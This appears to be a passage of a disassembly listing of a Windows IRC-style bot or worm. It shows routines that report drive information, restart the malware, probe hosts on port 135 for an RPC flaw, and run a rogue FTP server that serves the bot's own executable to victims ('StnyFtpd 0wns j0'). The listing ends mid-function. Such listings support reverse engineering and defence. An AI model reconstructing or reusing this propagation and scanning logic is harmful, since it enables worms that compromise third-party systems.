		lea	eax, [ebp+var_118]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+var_98]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h


loc_403C60:				; CODE XREF: sub_403B59+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+Dest]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_403B59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_403C74(int,char *Str,int,int)

sub_403C74	proc near		; CODE XREF: sub_403D46+17p
					; sub_403D46+60p

Dest		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
Str1		= byte ptr -80h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_403B59
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+Str1]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax		; Str1
		call	_strcmp
		add	esp, 10h
		test	eax, eax
		jnz	short loc_403CE7
		push	ebx
		push	ebx
		call	sub_403AC8
		pop	ecx
		push	eax
		push	offset aMainSDriveSFai ; "[MAIN]: %s Drive (%s): Failed	to stat, "...
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	short loc_403D1B
; ---------------------------------------------------------------------------


loc_403CE7:				; CODE XREF: sub_403C74+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		push	ebx
		push	ebx
		call	sub_403AC8
		pop	ecx
		push	eax
		push	offset aMainSDriveSSTo ; "[MAIN]: %s Drive (%s): %s total, %s fre"...
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 20h


loc_403D1B:				; CODE XREF: sub_403C74+71j
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403C74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_403D46(int,char *Str,int,int)

sub_403D46	proc near		; CODE XREF: sub_409557+4A88p

arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_403D67
		push	[ebp+arg_C]	; int
		push	[ebp+arg_8]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_403C74
		add	esp, 10h
		jmp	short loc_403DC8
; ---------------------------------------------------------------------------


loc_403D67:				; CODE XREF: sub_403D46+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_42EB30	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi		; Size
		call	_malloc
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_42EB30	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_403DBF


loc_403D8B:				; CODE XREF: sub_403D46+77j
		push	offset aA	; "A:\\"
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403DAE
		push	esi		; int
		push	[ebp+arg_8]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_403C74
		add	esp, 10h


loc_403DAE:				; CODE XREF: sub_403D46+54j
		push	esi		; Str
		call	_strlen
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_403D8B


loc_403DBF:				; CODE XREF: sub_403D46+43j
		push	edi		; Memory
		call	_free
		pop	ecx
		pop	edi
		pop	esi


loc_403DC8:				; CODE XREF: sub_403D46+1Fj
		pop	ebx
		pop	ebp
		retn
sub_403D46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DCB	proc near		; DATA XREF: WinMain(x,x,x,x)+14o

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
Dst		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43054C
		call	dword_42EC48	; closesocket
		call	sub_411E03
		call	dword_42EB20	; WSACleanup
		call	dword_42EB20	; WSACleanup
		mov	ebx, ds:dword_41B048
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi		; Size
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_428D64
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	ds:dword_41B098	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	ds:dword_41B068	; GetModuleFileNameA
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	ds:dword_41B094	; CreateProcessA
		test	eax, eax
		jz	short loc_403E90
		push	64h
		call	ebx	; Sleep
		push	[ebp+Dst]
		mov	esi, ds:dword_41B050
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_403E90:				; CODE XREF: sub_403DCB+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_42E65C
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	ds:dword_41B090	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx
sub_403DCB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_403EB3(int,int,void *Buf2,size_t Size)

sub_403EB3	proc near		; CODE XREF: sub_403EEB+125p
					; sub_403EEB+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Buf2		= dword	ptr  10h
Size		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+Size]
		test	edi, edi
		jle	short loc_403EE1


loc_403EC4:				; CODE XREF: sub_403EB3+2Cj
		push	[ebp+Size]	; Size
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+Buf2]	; Buf2
		push	eax		; Buf1
		call	_memcmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_403EE7
		inc	esi
		cmp	esi, edi
		jl	short loc_403EC4


loc_403EE1:				; CODE XREF: sub_403EB3+Fj
		xor	al, al


loc_403EE3:				; CODE XREF: sub_403EB3+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_403EE7:				; CODE XREF: sub_403EB3+27j
		mov	al, 1
		jmp	short loc_403EE3
sub_403EB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EEB	proc near		; CODE XREF: sub_4013EE+8Bp
					; sub_4013EE+174p ...

var_2010	= dword	ptr -2010h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	__alloca_probe
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_403F2C
		dec	eax
		jz	short loc_403F0A
		dec	eax


loc_403F04:				; CODE XREF: sub_403EEB+57j
		xor	eax, eax


loc_403F06:				; CODE XREF: sub_403EEB+3Fj
					; sub_403EEB+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_403F0A:				; CODE XREF: sub_403EEB+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_42EBF0	; inet_addr
		push	eax
		call	sub_40275B
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_403F06
; ---------------------------------------------------------------------------


loc_403F2C:				; CODE XREF: sub_403EEB+13j
		push	6
		push	1
		push	2
		call	dword_42EC30	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_403F04
		push	ebx
		xor	ebx, ebx
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	87h
		call	dword_42EBB4	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_4082EB
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	esi
		call	dword_42EB60	; connect
		cmp	eax, edi
		jz	loc_404048
		push	ebx
		push	48h
		push	offset dword_41FA70
		push	esi
		call	dword_42EC00	; send
		cmp	eax, edi
		jz	loc_404048
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_42EBCC	; recv
		cmp	eax, edi
		jz	loc_404048
		cmp	byte ptr [ebp+var_2010+2], 0Ch
		jnz	short loc_404048
		push	ebx
		push	18h
		push	offset dword_41FABC
		push	[ebp+arg_4]
		call	dword_42EC00	; send
		cmp	eax, edi
		jz	short loc_404048
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_42EBCC	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_404048
		cmp	byte ptr [ebp+var_2010+2], 2
		jnz	short loc_404048
		push	10h		; Size
		push	offset dword_41FAD8 ; Buf2
		lea	eax, [ebp+var_2010]
		push	esi		; int
		push	eax		; int
		call	sub_403EB3
		add	esp, 10h
		test	al, al
		jz	short loc_404028
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_404048
; ---------------------------------------------------------------------------


loc_404028:				; CODE XREF: sub_403EEB+12Fj
		push	10h		; Size
		push	offset dword_41FAEC ; Buf2
		lea	eax, [ebp+var_2010]
		push	esi		; int
		push	eax		; int
		call	sub_403EB3
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_404048:				; CODE XREF: sub_403EEB+9Bj
					; sub_403EEB+B2j ...
		push	[ebp+arg_4]
		call	dword_42EC48	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_403F06
sub_403EEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404059	proc near		; DATA XREF: sub_4022E3+226o

var_A6C		= byte ptr -0A6Ch
var_8DC		= dword	ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
Dst		= byte ptr -29Ch
var_238		= byte ptr -238h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
Str		= byte ptr -124h
Dest		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
Str1		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		call	ds:dword_41B1AC	; WSAStartup
		push	edi		; Time
		call	_time
		push	eax
		call	sub_41274C
		pop	ecx
		pop	ecx
		call	_rand
		cdq
		mov	ecx, 0FC17h
		push	edi
		idiv	ecx
		push	ebx
		push	2
		add	edx, 3E8h
		mov	dword_42E668, edx
		call	ds:dword_41B1B0	; socket
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	ds:dword_41B1B4	; setsockopt
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_41B1B8	; ioctlsocket
		mov	ax, word ptr dword_42E668
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	ds:dword_41B1BC	; htons
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	ds:dword_41B1C0	; bind
		test	eax, eax
		jge	short loc_404132
		mov	eax, ebx
		jmp	loc_404653
; ---------------------------------------------------------------------------


loc_404132:				; CODE XREF: sub_404059+D0j
		push	0Ah
		push	esi
		call	ds:dword_41B1C4	; listen
		mov	[ebp+var_228], ebx
		mov	ebx, ds:dword_41B1C8
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi


loc_404150:				; CODE XREF: sub_404059+130j
					; sub_404059+5F2j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	ds:dword_41B1CC	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_404650
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_404150


loc_40418B:				; CODE XREF: sub_404059+5ECj
		xor	esi, esi
		push	64h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	64h		; Size
		lea	eax, [ebp+Str1]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_41AFC0	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40463E
		cmp	edi, [ebp+var_C]
		jnz	short loc_404242
		lea	eax, [ebp+var_24]
		mov	[ebp+var_24], 10h
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_41B1D4	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40463E
		xor	ecx, ecx
		cmp	[ebp+var_228], esi
		jbe	short loc_40420C
		lea	edx, [ebp+var_224]


loc_4041FC:				; CODE XREF: sub_404059+1B1j
		cmp	[edx], eax
		jz	short loc_40420C
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_4041FC


loc_40420C:				; CODE XREF: sub_404059+19Bj
					; sub_404059+1A5j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_40422A
		cmp	[ebp+var_228], 40h
		jnb	short loc_40422A
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]


loc_40422A:				; CODE XREF: sub_404059+1B9j
					; sub_404059+1C2j
		cmp	eax, [ebp+var_4]
		jle	short loc_404232
		mov	[ebp+var_4], eax


loc_404232:				; CODE XREF: sub_404059+1D4j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_40463E
; ---------------------------------------------------------------------------


loc_404242:				; CODE XREF: sub_404059+16Dj
		push	esi
		lea	eax, [ebp+Dst]
		push	64h
		push	eax
		push	edi
		call	ds:dword_41B1D8	; recv
		test	eax, eax
		jg	short loc_4042A9
		mov	edx, [ebp+var_228]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40429D
		lea	eax, [ebp+var_224]


loc_404269:				; CODE XREF: sub_404059+21Aj
		cmp	[eax], edi
		jz	short loc_404277
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_404269
		jmp	short loc_40429D
; ---------------------------------------------------------------------------


loc_404277:				; CODE XREF: sub_404059+212j
		dec	edx
		cmp	ecx, edx
		jnb	short loc_404297
		lea	eax, [ebp+ecx*4+var_224]


loc_404283:				; CODE XREF: sub_404059+23Cj
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_404283


loc_404297:				; CODE XREF: sub_404059+221j
		dec	[ebp+var_228]


loc_40429D:				; CODE XREF: sub_404059+208j
					; sub_404059+21Cj
		push	edi
		call	ds:dword_41B1DC	; closesocket
		jmp	loc_40463E
; ---------------------------------------------------------------------------


loc_4042A9:				; CODE XREF: sub_404059+1FCj
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aSS_1	; "%s %s"
		push	eax		; Src
		call	_sscanf
		lea	eax, [ebp+Str1]
		push	offset aUser	; "USER"
		push	eax		; Str1
		call	_strcmp
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4042ED
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_404629
; ---------------------------------------------------------------------------


loc_4042ED:				; CODE XREF: sub_404059+285j
		lea	eax, [ebp+Str1]
		push	offset aPass	; "PASS"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404311
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_404629
; ---------------------------------------------------------------------------


loc_404311:				; CODE XREF: sub_404059+2A9j
		lea	eax, [ebp+Str1]
		push	offset aSyst	; "SYST"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404335
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	loc_404629
; ---------------------------------------------------------------------------


loc_404335:				; CODE XREF: sub_404059+2CDj
		lea	eax, [ebp+Str1]
		push	offset aRest	; "REST"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404359
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_404629
; ---------------------------------------------------------------------------


loc_404359:				; CODE XREF: sub_404059+2F1j
		lea	eax, [ebp+Str1]
		push	offset off_41FCD4 ; Str2
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40437D
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_404629
; ---------------------------------------------------------------------------


loc_40437D:				; CODE XREF: sub_404059+315j
		lea	eax, [ebp+Str1]
		push	offset aType	; "TYPE"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4043B8
		lea	eax, [ebp+var_334]
		push	offset aA_0	; "A"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4043B8
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_404629
; ---------------------------------------------------------------------------


loc_4043B8:				; CODE XREF: sub_404059+339j
					; sub_404059+350j
		lea	eax, [ebp+Str1]
		push	offset aType	; "TYPE"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4043F3
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4043F3
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_404629
; ---------------------------------------------------------------------------


loc_4043F3:				; CODE XREF: sub_404059+374j
					; sub_404059+38Bj
		lea	eax, [ebp+Str1]
		push	offset aPasv	; "PASV"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404441
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+Str]
		rep movsd
		push	eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		movsw
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]


loc_404431:				; CODE XREF: sub_404059+427j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi


loc_404439:				; CODE XREF: sub_404059+4F7j
		mov	edi, [ebp+arg_0]
		jmp	loc_40462C
; ---------------------------------------------------------------------------


loc_404441:				; CODE XREF: sub_404059+3AFj
		lea	eax, [ebp+Str1]
		push	offset aList	; "LIST"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404482
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax		; Str
		movsb
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_404431
; ---------------------------------------------------------------------------


loc_404482:				; CODE XREF: sub_404059+3FDj
		lea	eax, [ebp+Str1]
		push	offset aPort	; "PORT"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404555
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aS_1	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax		; Src
		call	_sscanf
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	_atoi
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax		; Str
		call	_atoi
		mov	[ebp+var_8], eax
		push	32h		; Size
		lea	eax, [ebp+Dest]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	[ebp+var_8]
		lea	eax, [ebp+Dest]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 44h
		lea	eax, [ebp+Dest]
		push	10h		; Radix
		push	esi		; EndPtr
		push	eax		; Str
		call	_strtoul
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_404439
; ---------------------------------------------------------------------------


loc_404555:				; CODE XREF: sub_404059+43Ej
		lea	eax, [ebp+Str1]
		push	offset aRetr	; "RETR"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40460A
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_40465A
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_404600
		call	sub_4046D7
		cmp	eax, 1
		jnz	loc_40462C
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset aFtpFileTransfe ; "[FTP]: File transfer complete	to IP: %s"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+var_440], esi
		jnz	short loc_4045F1
		push	esi		; int
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]	; int
		push	eax		; int
		lea	eax, [ebp+var_4C4]
		push	eax		; Str
		push	[ebp+var_6DC]	; int
		call	sub_405E64
		add	esp, 14h


loc_4045F1:				; CODE XREF: sub_404059+573j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_402D63
		pop	ecx
		jmp	short loc_40462C
; ---------------------------------------------------------------------------


loc_404600:				; CODE XREF: sub_404059+533j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_404629
; ---------------------------------------------------------------------------


loc_40460A:				; CODE XREF: sub_404059+511j
		lea	eax, [ebp+Str1]
		push	offset aQuit	; "QUIT"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40462C
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_404629:				; CODE XREF: sub_404059+28Fj
					; sub_404059+2B3j ...
		push	edi
		call	ebx	; send


loc_40462C:				; CODE XREF: sub_404059+3E3j
					; sub_404059+53Dj ...
		push	64h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch


loc_40463E:				; CODE XREF: sub_404059+164j
					; sub_404059+18Dj ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_40418B
		jmp	loc_404150
; ---------------------------------------------------------------------------


loc_404650:				; CODE XREF: sub_404059+122j
		push	1
		pop	eax


loc_404653:				; CODE XREF: sub_404059+D4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_404059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40465A	proc near		; CODE XREF: sub_404059+529p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_41B1AC	; WSAStartup
		push	0
		push	1
		push	2
		call	ds:dword_41B1B0	; socket
		push	[ebp+arg_0]
		mov	dword_42E664, eax
		mov	[ebp+var_10], 2
		call	ds:dword_41B1A0	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_41B1BC	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_42E664
		call	ds:dword_41B1A4	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4046D2
		push	dword_42E664
		call	ds:dword_41B1DC	; closesocket
		call	ds:dword_41B1A8	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4046D2:				; CODE XREF: sub_40465A+60j
		push	1
		pop	eax
		leave
		retn
sub_40465A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046D7	proc near		; CODE XREF: sub_404059+535p

DstBuf		= byte ptr -504h
Filename	= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+Filename]
		push	104h
		push	eax
		push	0
		call	ds:dword_41B068	; GetModuleFileNameA
		lea	eax, [ebp+Filename]
		push	offset Mode	; "rb"
		push	eax		; Filename
		call	_fopen
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40476E
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_404752
		push	edi
		mov	edi, 400h


loc_40471A:				; CODE XREF: sub_4046D7+78j
		push	esi		; File
		push	1		; Count
		lea	eax, [ebp+DstBuf]
		push	edi		; ElementSize
		push	eax		; DstBuf
		call	_fread
		add	esp, 10h
		lea	eax, [ebp+DstBuf]
		push	0
		push	edi
		push	eax
		push	dword_42E664
		call	ds:dword_41B1C8	; send
		push	1
		call	ds:dword_41B048	; Sleep
